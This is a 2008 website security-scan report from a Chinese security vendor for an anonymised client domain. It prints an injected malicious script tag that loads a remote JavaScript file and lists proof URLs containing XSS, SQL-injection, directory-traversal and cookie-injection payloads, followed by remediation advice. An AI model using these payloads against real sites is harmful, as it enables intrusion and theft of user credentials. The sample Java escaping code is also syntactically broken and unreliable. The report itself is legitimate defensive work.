



您的网站安全体检专家!

安星网站安全检查报告

客户名称: XXX

目标域名: www.xxx.com.cn

检查类型: 网页漏洞检查
 网页挂马检查

提交日期: 2008年10月29日





目 录

1	专家会诊结论.....	1
2	基本检查信息.....	2
3	详细检查结果.....	2
3.1	网页挂马检查.....	2
3.1.1	挂马统计信息.....	2
3.1.2	挂马页面定位.....	3
3.1.3	网页挂马分析.....	3
3.1.4	预防建议.....	4
3.2	网页漏洞检查.....	5
3.2.1	漏洞统计信息.....	5
3.2.2	漏洞页面定位.....	7
3.2.3	网页漏洞分析.....	7
3.2.4	修补建议.....	13
4	附录.....	13
4.1	安星产品简介.....	13
4.2	安星安全专递.....	13



1 专家会诊结论

本次检查网页共计 12762 个，内容涉及网页挂马和网页漏洞，检查发现被挂马网页 2 个，存在漏洞的网页 11 个，并且均经过安星确认。共检查了包括跨站脚本、SQL 注入、代码执行、代码执行、目录遍历等 20 种常见网页漏洞类型；建议持续关注网站漏洞的安全状态。

感谢您选择安星远程网站安全检查服务，如您对本次检查有任何意见或建议，请及时反馈给启明星辰^①。



地址：北京市海淀区东北旺西路 8 号中关村软件园 21 号楼启明星辰大厦 安星 收
邮编：100193
电话：86-10-82779088
传真：86-10-82779000
E-mail: anxing@venustech.com.cn



2 基本检查信息

检查信息	内容
本次检查开始时间	2008 年 10 月 28 日 9 时
总计耗时	11 小时 02 分钟
上次检查时间	2008 年 10 月 21 日
下次检查时间	2008 年 11 月 4 日
检查层数	<input checked="" type="checkbox"/> 全部页面 <input type="checkbox"/> 部分页面
检查页面数	12762 个页面
较上次检查变化的页面数	39 个页面
较上次增加页面数	28 个页面
较上次减少页面数	11 个页面
WEB 服务器操作系统	Windows
WEB 服务类型	IIS 6.0

表1. 本次检查基本信息

3 详细检查结果

3.1 网页挂马检查

3.1.1 挂马统计信息

挂马类型	存在挂马的页面数	
	本次检查	上次检查
所有类型网页挂马	2	0
Iframe 框架挂马	0	0
JS 文件挂马	2	0
JS 变形挂马	0	0



body 挂马	0	0
css 挂马	0	0
Javascript 挂马	0	0
WebShell	0	0

表2. 网页挂马结果统计

3.1.2 挂马页面定位

挂马类型	序号	挂马页面定位
JS 文件 挂马	01	http://www.xxx.com.cn/index.html
JS 文件 挂马	02	http://www.xxx.com.cn/ bobnews.asp?newsid=1054

表3. 被挂马页面列表

3.1.3 网页挂马分析

序号	页面链接
01	http://www.xxx.com.cn/index.html
挂马类型	JS 文件挂马
影响分析	用户浏览该页面时，会在没有感知的情况下自动跳转到 www.xx.com 页面，自动下载并在其系统后台运行一个名为 xx.xx 的木马程序。如果用户的终端装有防病毒、防木马软件，可以会拦截该行为，从而引起用户的关注，造成投诉。并且该网站还将面临被 google 搜索屏蔽的危险。
挂马原型	代码分析: <script src=http://xxx.cn/images/cookies.js></script> 截图: 页面的源代码中被添加了一段恶意脚本，具体内容详见下图




	 <pre> <script src=http://766tv.cn/images/cookies.js></script> <html> <head> <title>xxxxx网</title> <meta http-equiv="Content-Type" content="text/html; charset=gb2312"> <style type="text/css"> <!-- td { font-size: 13px; line-height: 18px; } </pre>
清除方法	<p>方法一，清除以上页面中包含“<script src=http://766tv.cn/images/cookies.js></script>”的一段恶意代码，参考上图；</p> <p>方法二，如果之前有备份文件，请先检查备份文件是否也包含以上恶意代码，如果没有可以用备份文件替代。</p>

表4.

3.1.4 预防建议

产生挂马的原因主要有：

1. Web 服务器、数据库本身存在安全隐患，比如系统补丁更新不及时、弱口令、系统中的应用软件、WEB 发布系统存在漏洞，等等；
2. 二是 Web 应用程序由于编写的不严谨而存在安全隐患；

针对如何预防挂马的建议：

1. 修补 Web 服务器安全漏洞。可以借助一些第三方工具发现 Web 服务器的漏洞，然后逐一修补，确保 Web 服务器本身是安全的。第三方漏洞扫描工具市场上有很多可以选择，包括启明星辰的天镜脆弱性扫描与管理系统的 V6.0。
2. 修补数据库安全漏洞。可以借助一些第三方工具发现数据库可能存在的漏洞，然后逐一修补，确保数据库本身的安全。
3. 发现并修补 Web 程序安全漏洞。Web 漏洞产生的原因，是由于 WEB 应用程序编写的不严谨，未对输入/输出做有效性验证、以及角色验证和所有权验证。



证，使得攻击者能够通过正常的 WEB 服务进行入侵。这类漏洞包括 SQL 注入漏洞、跨站脚本（XSS）漏洞等。可以借助一些第三方工具或服务来发现 Web 程序漏洞，然后逐一修补。启明星辰的安星网站漏洞检查服务可以帮助用户发现漏洞，具体到漏洞存在的页面、漏洞类型、以及修补方法。

4. 通过部署 IPS 等 Web 漏洞攻击阻断产品，来阻断针对 Web 漏洞实施的攻击。为使阻断的效果更好，建议用户选购基于行为检测的 IPS，因为基于特征匹配的设备对最新的攻击方法是无法防范的。

5. 选用安全服务。可以阶段性或周期性的请专业网络安全公司的专业网络安全服务团队，为您的网络做安全服务，比如漏洞扫描、渗透测试、代码检查、实时监控等等。

3.2 网页漏洞检查

3.2.1 漏洞统计信息

漏洞类型	存在漏洞的页面数	
	本次检查	上次检查
所有类型网页漏洞	11	0
跨站脚本	2	0
SQL 注入	1	0
代码执行	0	0
目录遍历	1	0
文件包含	0	0
脚本源码泄露	1	0
CRLF 注入	0	0
物理路径泄漏	0	0
环境变量泄漏	0	0
Cookie 篡改	1	0
URL 重定向	0	0
应用错误信息	1	0



备份文件	1	0
可能的敏感文件	0	0
可能的敏感目录	0	0
目录权限	1	0
CVS 信息泄漏	1	0
测试页面	1	0
Bash 信息泄漏	0	0

表5. 网页漏洞结果统计



3.2.2 漏洞页面定位

漏洞类型	序号	危险程度	漏洞页面定位
跨站脚本	01	高	http://www.xxx.com.cn/bmfw/bmfw_cydh.asp?>"<ScRiPt>alert("venustech")</ScRiPt>
	02	高	http://www.xxx.com.cn/website/tosearch.jsp?q=%22+style%3D%22background-image%3Aurl%28jvas%00cript:alert(/Test%20LV/)%29%22%3E&doQuery=true
SQL 注入	03	高	http://www.xxx.com.cn/website/sund/sundnet.JSP?fundcode=290002%20aNd%20's'!=v
目录遍历	04	高	http://www.xxx.com.cn/web/html/bgxz/download.jsp?filepath=C:\boot.ini
脚本源码泄露	05	中	http://www.xxx.com.cn/cswt/aqritest/P020041220330635626256.JSP
Cookie 篡改	06	中	http://www.xxx.com.cn/ayiccounts/reg.asp?error2=<meta+http-equiv='Set-cookie'+content='cookienam=cookievalue'>
应用错误信息	07	低	http://www.xxx.com.cn/np_application/cms/manage/jsp/html/columnChoose.jsp?user='
备份文件	08	中	http://www.xxx.com/xzsp_web/inc/begin.asp.bak
目录权限	09	中	http://www.xxx.com.cn/credit/news/
CVS 信息泄漏	10	低	http://www.xxx.com.cn/website/CVS/Repository
测试页面	11	低	http://www.xxx.com.cn/zfzd/mzj/test.asp

表6. 存在漏洞的页面列表

3.2.3 网页漏洞分析

漏洞类型	跨站脚本
------	------



漏洞危害	<p>恶意的用户会利用这种漏洞，向有漏洞的程序中插入一些代码，这些代码可能是用 JavaScript、VBScript、ActiveX、HTML 或 Flash 等技术编写的欺骗代码。</p> <p>这些欺骗代码可以偷走正在访问应用的用户的 Cookie 等身份凭证，导致用户密码丢失。</p>
修补建议	<ol style="list-style-type: none"> 1. 对所有的输入进行过滤。 2. 对输入进行转义，尤其是<>()&# 这些符号。 3. <和>可以转义为 &lt; 和 &gt; 4. (和) 可以转义为&#40 和 &#41 5. #和& 可以转义为&#35 和 &#38 <p>如果您的应用中确实需要使用一些 HTML 标记，例如留言板之类的应用，那么转义应该比较好的办法。</p> <p>对于 Java 开发人员来讲，这里给出一个转义的例子，以供参考。</p> <pre>public static String HTML Encode(String aTagFragment) { final StringBuffer result = new StringBuffer(); final StringCharacterIterator iterator = new StringCharacterIterator(aTagFragment); char character = iterator.current(); while (character != StringCharacterIterator.DONE){ if (character == '<') { result.append("&lt;"); } else if (character == '>') { result.append("&gt;"); } else if (character == "\"") { result.append("&quot;"); } else if (character == "\") { result.append("&#039;"); } else if (character == "\\") { result.append("&#092;"); } else if (character == '&') { result.append("&amp;"); } } }</pre>



	<pre> else { //如果字符不是特殊字符，则直接添加到结果中 result.append(character); } character = iterator.next(); } return result.toString(); } </pre>
--	---

漏洞类型	SQL 注入
漏洞危害	<p>攻击者能够在有此漏洞的系统中执行任意 SQL 语句。该漏洞可能威胁你数据库的完整性，泄露敏感信息。</p> <p>SQL 注入漏洞可以使攻击者获得不同级别的数据/系统访问权限，权限级别取决于使用的后端数据库。利用该漏洞不仅可以操纵现有查询，还可以联合任意数据，使用子查询，附加新查询。某些情况下，利用该漏洞可以读文件或把数据写入文件，或者在底层操作系统执行 shell 命令。</p> <p>某些 SQL 服务器，如 Microsoft SQL Server，包含存储过程和扩展程序（数据库服务器函数）。如果攻击者能够获得这些程序的访问权限，可能威胁整台机器。</p>
修补建议	<ol style="list-style-type: none"> 1. 对输入进行过滤。 2. 对输入进行转义。 3. 使用边界参数检查。 4. 限制数据库权限并分离用户。 5. 对数据库操作尽量使用存储过程。 6. 将 WEB 服务器和数据库服务器分离。 7. 配置错误报告，使其不泄漏敏感信息。 8. 使用启明星辰公司的天清入侵防御系统（IPS），开启 SQL 注入阻断功能。

漏洞类型	目录遍历
漏洞危害	<p>利用目录遍历漏洞，攻击者能够跳出 root 目录，访问其他目录的文件。因此，攻击者或许会浏览受限制的文件，或者执行一些命令，这会导致对整</p>



	个 web server 的威胁。
修补建议	对所有的输入参数进行过滤，需要过滤的标点符号包括： . / // \ \ & % # ^ () @

漏洞类型	脚本源码泄露
漏洞危害	通过分析源代码，攻击者可以收集到数据库连接字符串、应用程序逻辑的敏感信息。这些信息可以被用来发起进一步攻击。
修补建议	删除你网站上的这些文件，或者更改访问许可权限。

漏洞类型	Cookie 篡改
漏洞危害	利用该漏洞，攻击者可能发起会话固定攻击。在一次会话固定攻击里，在用户登录到目标服务器之前，攻击者就能够确定用户 session ID，这样就不用后期为获得用户 session ID 费神。
修补建议	<ol style="list-style-type: none"> 1. 需要过滤用户的输入，以防止自定义 HTTP 头部注入攻击或 META tags 注入攻击。 2. 此外，应用程序应该给每个新登陆的用户分配一个新的 session ID。

漏洞类型	应用错误信息
漏洞危害	<p>错误消息可能泄漏敏感信息。这些信息可能被用来发起进一步攻击。</p> <p>例如：</p> <ol style="list-style-type: none"> 1. 黑客首先会利用提交特殊的 URL，迫使应用程序产生异常。 2. 这些错误信息中可能会包含应用程序内部的一些调适代码，内部应用程序的名称、结构、版本号等。 3. 黑客可以利用得到的信息，对应用程序进行准确的攻击。
修补建议	<p>对于在 IIS 上部署的 ASP 应用程序，屏蔽应用程序错误信息有 2 种办法：</p> <p>方法一，直接修改应用程序，让应用程序妥当的处理异常。</p> <p>方法二，对 IIS 服务进行配置，向客户端返回指定的错误信息，避免内部信息泄漏。</p> <p>以 IIS 6.0 为例，选择“网站属性” - “主目录” - “配置” - “调试” - “脚本</p>



错误信息”

选择“向客户端发送文本错误信息”。

The screenshot shows the 'Web 属性' (Web Properties) dialog box with the '应用程序配置' (Application Configuration) tab selected. Under the '脚本错误消息' (Script Error Messages) section, the radio button for '向客户端发送文本错误消息 (T)...' (Send text-based error messages to the client) is selected. The text box below it contains the message: '处理 URL 时服务器出错。请与系统管理员联系。' (The server encountered an error processing the URL. Please contact the system administrator.)

漏洞类型	备份文件
漏洞危害	备份文件可能包含脚本源代码，配置文件或其他敏感信息，这些信息可能帮助恶意用户发起进一步攻击。
修补建议	方法一，把 web 站点中不再需要的文件删除。 方法二，进一步采取措施的话，建议在组织内部实施一个安全策略，在可从 web 访问的目录下禁止创建备份文件。

漏洞类型	目录权限
漏洞危害	此目录有列出文件目录权限，从此目录用户可以浏览目录下所有文件列表，这可能导致敏感信息的泄露。
修补建议	1. 你必须确保此目录中不包含敏感信息。 2. 可以在 Web 服务器配置中限制目录列表。建议修正所使用的 Web 服

务器软件的目录权限设置。

例如，在 IIS 中取消目录浏览



漏洞类型	CVS 信息泄漏
漏洞危害	这些文件可能泄漏一些敏感信息，帮助恶意用户准备进一步攻击。
修补建议	1. 在生产系统中删除这些文件。

漏洞类型	测试页面
漏洞危害	测试页面可能包含固定的帐号,密码,认证会话 ID 等信息,攻击者获取这类信息以进一步进行攻击.
修补建议	1. 在生产系统中删除这些文件。 2. 限制访问权限。



3.2.4 修补建议

产生漏洞的原因主要有：

输入输出没过滤、没有安全编码、没有安全测试

针对如何预防漏洞的建议：

针对安星检查出来的漏洞及时修补；如果有条件可以让网站开发人员对开发的源代码做一次彻底检查；选用 IPS 等 Web 防护产品，可以有效阻断针对 Web 漏洞的攻击。

4 附录

4.1 安星产品简介

安星远程网站安全检查服务（简称“安星”）是启明星辰依托安全检测技术成果和专业安全服务团队，专门针对互联网网站提供的 WEB 页面远程安全检查的标准化服务。安星能够全面检测网页木马、影响网站安全的 Web 程序漏洞并定位其所在位置，形成专业的检查报告。根据安星的检查报告，客户可及时、全面掌握网页木马和网页漏洞情况，并根据修补建议采取进一步安全保障措施。

欢迎登陆安星产品网站：<http://www.websec360.com>，了解更多有关网站安全的产品和技术信息。

4.2 安星安全专递

本周安全评级：中。

重点漏洞情况：

Microsoft IE 多个跨域信息泄露和内存破坏漏洞

Internet Explorer 中的多个安全漏洞可能允许恶意攻击者执行跨站脚本攻击，完全入侵用户的系统。1) 处理某些 HTML 元素或事件时的漏洞可能导致 Internet Explorer 错误的解释脚本来源，导致以其他域或安全区的环境执行脚本代码，或允许脚本访问另一个域或 Internet Explorer 区域中的浏览器窗口。2) 在特定情形下尝试访问未初始化的内存允许在 Internet Explorer 中执行代码。相关链接：

<http://www.microsoft.com/technet/security/Bulletin/MS08-058.msp?pf=true>



Windows Server 服务 RPC 请求缓冲区溢出漏洞

Windows 的 Server 服务在处理特制 RPC 请求时存在缓冲区溢出漏洞，远程攻击者可以通过发送恶意的 RPC 请求触发这个溢出，导致完全入侵用户系统，以 SYSTEM 权限执行任意指令。对于 Windows 2000、XP 和 Server 2003，无需认证便可以利用这个漏洞；对于 Windows Vista 和 Server 2008，可能需要进行认证。目前该漏洞正在被名为 TrojanSpy:Win32/Gimmiv.A 和 TrojanSpy:Win32/Gimmiv.A.dll 的木马积极的利用。相关链接：

<http://www.microsoft.com/technet/security/bulletin/ms08-067.msp?pf=true>

Wireshark 1.0.4 更新修复多个拒绝服务漏洞

Wireshark 的 1.0.4 之前版本的 Bluetooth ACL、Q.931、Bluetooth RFCOMM 和 USB 解析模块中存在多个拒绝服务漏洞。如果用户受骗从网络抓取了恶意报文或打开了恶意抓包文件的话，就可能导致 Wireshark 崩溃。相关链接：

<http://www.wireshark.org/download/src/wireshark-1.0.4.tar.gz>

本周热门病毒：

“EXE 图标修改器变种 AB (Harm.Win32.VB.ab)”，是一种破坏性的病毒，该病毒由 VB 编写，病毒运行后会系统所有后缀为 EXE 的文件的图标修改。修改图标的方式是修改注册表的 EXE 的图标关联实现，病毒的目录下存在文件 xm.ico，那么 EXE 的图标就修改为相应的图标，病毒在修改注册表后，会结束掉 explorer.exe,然后再次启动 explorer.exe 来启动修改，这个时候修改的图标就会改变了。病毒还会导致注册表编辑器无法打开，以防止手工修改注册表键值。病毒会修改注册表启动项键值，以实现开机自动启动。给用户正常使用电脑带来了很大不便。建议及时安装最新 Flash Player 插件，避免感染此类病毒侵害；养成良好的上网习惯，不打开不良网站，不随意下载安装可疑插件；安装杀毒软件 2008 版升级到最新版本，定时杀毒并开启实时监控功能，防止病毒感染计算机；定时设置系统还原点和备份重要文件。

欢迎访问启明星辰公司网站：<http://www.venustech.com.cn>，了解更多安全资讯。